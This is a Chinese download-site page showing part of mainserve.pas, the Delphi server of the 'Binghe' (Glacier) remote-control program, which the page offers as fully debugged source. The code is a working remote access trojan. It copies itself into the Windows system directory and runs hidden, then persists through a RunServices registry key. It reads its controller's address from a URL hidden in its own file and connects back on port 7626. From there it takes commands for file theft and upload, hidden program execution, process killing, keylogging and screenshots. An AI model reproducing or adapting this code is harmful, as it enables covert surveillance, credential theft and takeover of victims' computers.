⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainserve.pas

📁 冰河远程控制软件源码...... 调试全部通过
💻 PAS
📖 第 1 页 / 共 3 页
字号:
          Temp := GetFilepath(RDStrList[1])+ GetFileName(RDStrList[1])+ '(' + inttoStr(i) + ')';
        end;
       CreateDir(Temp);
     except
     end;
     Exit;
  end;
  if  RDStrList[0] = '012' then   {接收客户端传来的文件 }
  begin
      try
        AFileStream:=TFileStream.Create(RDStrList[1], fmCreate);
        try
         i:=ServerForm.IdTCPClient1.ReadInteger();
         ServerForm.IdTCPClient1.ReadStream(AFileStream,i);
        except
        end;
      finally
       AFileStream.Free;
      end;
  end;
  if  RDStrList[0] = '013' then    {发送文件到客户端 }
  begin
      try
        AFileStream:=TFileStream.Create(RDStrList[1], fmOpenRead);
        try
         ServerForm.IdTCPClient1.WriteLn('013');
         ServerForm.IdTCPClient1.WriteInteger(AFileStream.Size);
         ServerForm.IdTCPClient1.WriteStream(AFileStream);
        except
        end;
      finally
       AFileStream.Free;
      end;
  end;
  if  RDStrList[0] = '014' then {远程运行文件}
  begin
    try
       if  RDStrList.Count = 3 then
         case Strtoint(RDStrList[1]) of
             0:ShellExecute(0, nil, pchar(RDStrList[2]),nil, nil, SW_HIDE);
             1:ShellExecute(0, nil, pchar(RDStrList[2]),nil, nil, SW_NORMAL);
             2:ShellExecute(0, nil, pchar(RDStrList[2]),nil, nil, SW_MAXIMIZE);
             3:ShellExecute(0, nil, pchar(RDStrList[2]),nil, nil, SW_MINIMIZE);
         end
       else  case Strtoint(RDStrList[1]) of
             0:ShellExecute(0, nil, pchar(RDStrList[2]),pchar(RDStrList[3]), nil, SW_HIDE);
             1:ShellExecute(0, nil, pchar(RDStrList[2]),pchar(RDStrList[3]), nil, SW_NORMAL);
             2:ShellExecute(0, nil, pchar(RDStrList[2]),pchar(RDStrList[3]), nil, SW_MAXIMIZE);
             3:ShellExecute(0, nil, pchar(RDStrList[2]),pchar(RDStrList[3]), nil, SW_MINIMIZE);
         end;
     except
     end;
  end;
  if  RDStrList[0] = '020' then
  begin
     Request:= Savenowtask;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'020',Request);
     Exit;
  end;
  if  RDStrList[0] = '021' then
  begin
    if Killprocsee(strtoint(RDStrList[1])) then
    begin
     Request:= Savenowtask;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'020',Request);     //刷新一下
     Exit;
     end;
  end;
  if  RDStrList[0] = '030' then
  begin
     Request:= Searchallwindow;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'030',Request);
  end;
  if  RDStrList[0] = '031' then
  begin
     try
       Showwindow(allhwnd[strtoint(RDStrList[1])],SW_SHOW);
     except
     end;
     Request:= Searchallwindow;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'030',Request);
  end;
  if  RDStrList[0] = '032' then
  begin
     try
       Showwindow(allhwnd[strtoint(RDStrList[1])],SW_Hide);
     except
     end;
     Request:= Searchallwindow;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'030',Request);
  end;
  if  RDStrList[0] = '033' then
  begin
     try
      PostMessage(allhwnd[strtoint(RDStrList[1])],WM_Close,0,0);
     except
     end;
     Request:= Searchallwindow;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'030',Request);
  end;

  if  RDStrList[0] = '040' then
   begin   {启动键盘记录}
     Request:= Installhook;
    // if Request='' then Request:='Cmd011';      //启动键盘记录成功!查看记录前请先终止键盘记录!
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'040',Request);
     Exit;
  end;
  if  RDStrList[0] = '041' then
   begin   {终止键盘记录}
      Request:= Uninstallhook;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'041',Request);
     Exit;
  end;
  if  RDStrList[0] = '042' then
   begin   {查看键盘记录}
     Request:=HookList.Text;
     if Request='' then
     begin
       Request:='NULL';  //键盘记录为空.
     end;
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'042',Request);
     Exit;
  end;
  if  RDStrList[0] = '043' then
   begin   {清空键盘记录}
     try
       HookList.Clear;
     except
     end;
     Request:='Cmd014';      //清空键盘记录完成!
     ServerForm.SendStreamToClient(ServerForm.IdTCPClient1,'043',Request);
     Exit;
  end;
  if  RDStrList[0] = '050' then
  begin
       MyFirstBmp:=TMemoryStream.Create;
       //MyFirstBmp.Clear;
       My_GetScreenToBmp(true,MyFirstBmp);
       MyFirstBmp.Position:=0;
       try
        ServerForm.IdTCPClient1.WriteLn('050');
        ServerForm.IdTCPClient1.WriteInteger(MyFirstBmp.Size);
        ServerForm.IdTCPClient1.WriteBuffer(MyFirstBmp.Memory^,MyFirstBmp.Size,true);
       except
       end;
       MyFirstBmp.Free;
  end;
  if RDStrList[0] = '060' then        //摄像头监控
  begin

  end;
  if RDStrList[0] = '063' then      //停止摄像头监控
  begin
  end;
  if RDStrList[0] = '080' then    //卸载服务端
  begin
   with TRegistry.Create do
   try
   RootKey := HKEY_LOCAL_MACHINE;
   OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices', TRUE );
   DeleteValue('binghe');
   finally
   free;
   end;
   ServerForm.IdTCPClient1.Disconnect;
   ServerForm.Timer1.Enabled:=false;
   Terminate;
   application.Terminate;
   Exit;
  end;

except
  Terminate;
  Exit;
end;


end;

procedure TClientHandleThread.Execute;
var
Thesize:Integer;
ThtStr:String;
RsltStream: TMemoryStream;
begin
  while not Terminated do
  begin
   { if not H_GZVIP2004.IdTCPOnline.Connected then
    begin
      H_GZVIP2004.ToClientDisconnect;
      Break;
    end
    else begin }
      try
        ThtStr:=ServerForm.IdTCPClient1.ReadLn();                    //H_GZVIP2004.IdTCPOnline.ReadLn(EOL);
        Thesize:=Strtoint(ThtStr);
        if Thesize>0 then
          begin
            try
              RsltStream := TmemoryStream.Create;
              ServerForm.IdTCPClient1.ReadStream(RsltStream,Thesize,False);
              RsltStream.Position := 0;
              SetLength(CommandStr, RsltStream.Size);
              RsltStream.Read(CommandStr[1], RsltStream.Size);
              RsltStream.Free;
              Synchronize(HandleInput);
            Except
             // H_GZVIP2004.ToClientDisconnect;
              Break;
            end;
          end;
     except
     end;
    end;
  //end;
end;
//-------------------------------------------------------------
function GetInfoByYearNet(const Str:String):String;
var i,j:integer;
begin
Result:=''; 
i:=Pos('{window.location = "http://',Str);
if i=0 then Exit;
i:=i+length('{window.location = "http://');
j:=Pos('";;}',Str);
Result:= copy(Str,i,j-i);
end;

function TServerForm.ConRpcport(BThread: TIdTCPClient):Boolean;
begin
 try
    Myipstr:='';
     try
       Myipstr:=GetInfoByYearNet(IdHTTP1.Get(httpurl));
     except
     end;
  if Myipstr<>'' then
  begin
   if BThread.Connected then
     BThread.Disconnect;
   BThread.Host:=Myipstr;
   BThread.Port:=7626;
   BThread.Connect;
   Result:=True;
  end;
  except
   Result:=False;
  end;
  {
   try
     if BThread.Connected then
         BThread.Disconnect;
      BThread.Host:='127.0.0.1';
      BThread.Port:=7626;
      BThread.Connect();
      Result:=True;
    except
      Result:=False;
    end;
    }
end;

procedure TServerForm.Timer1Timer(Sender: TObject);
begin
 try
 if not IdTCPClient1.Connected then
 begin
  if ConRpcport(IdTCPClient1) then
     begin
         if not IdTCPClient1.Connected then exit;
         SendStreamToClient(IdTCPClient1,'000',Servername+#13+GetOSName(GetOSVersion));
         ClientHandleThread:=TClientHandleThread.Create;
    end;
 end;
 except
 end;
end;

procedure TServerForm.ReadMe;
var
   i,j:integer;
   F:file;
   Symbol: array [1..50] of char;
   Symbol1:array [1..50] of char;
   Symbolsize,Symbolsize1: array [1..2] of char;
begin
  for i:=1 to 50 do
  begin
    Symbol[i]:=#00;
    Symbol1[i]:=#00;
  end;
  CopyFile(pChar(ParamStr(0)), pChar(ParamStr(0)+'_'), False);
  Assignfile(F,Paramstr(0)+'_');
  Reset(f,1);
  Seek(F,Filesize(f)-2);
  BlockRead(F,Symbolsize,2);
  i :=strtoint(Symbolsize);
  //showmessage(Symbolsize);
  Seek(F,Filesize(f)-2-i);
  BlockRead(F,Symbol,i);
  Servername:=Trim(Symbol);

 // showmessage(Servername);

  Seek(F,Filesize(f)-i-4);
  BlockRead(F,Symbolsize1,2);
  j :=strtoint(Symbolsize1);
  Seek(F,Filesize(f)-i-4-j);
  BlockRead(F,Symbol1,j);
  httpurl:=Trim(Symbol1);

 // showmessage(httpurl);
  Closefile(f);
  DeleteFile(pChar(ParamStr(0)+'_'));
end;

function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'\' then Result := Result + '\';
end;

procedure TServerForm.FormCreate(Sender: TObject);
var
myname:string;
//Reg:TRegistry;
begin
 myname := ExtractFilename(Application.Exename); //获得文件名
 if application.Exename <> GetWindir +myname then //如果文件不是在WindowsSystem那么..
 begin
 copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);//将自己拷贝到WindowsSystem下
 Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件
 application.Terminate;//退出
 end else
 begin
  with TRegistry.Create do
  try
  RootKey := HKEY_LOCAL_MACHINE;
  OpenKey('Software\Microsoft\Windows\CurrentVersion\RunServices', TRUE );
  WriteString('binghe', application.ExeName );
  finally
  free;
  end;
  ReadMe;

  HookList:= Tstringlist.Create;
 end;
end;

procedure TServerForm.FormDestroy(Sender: TObject);
begin
    HookList.Free;
end;

procedure TServerForm.IdTCPClient1Disconnected(Sender: TObject);
begin
   ClientHandleThread.Destroy;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -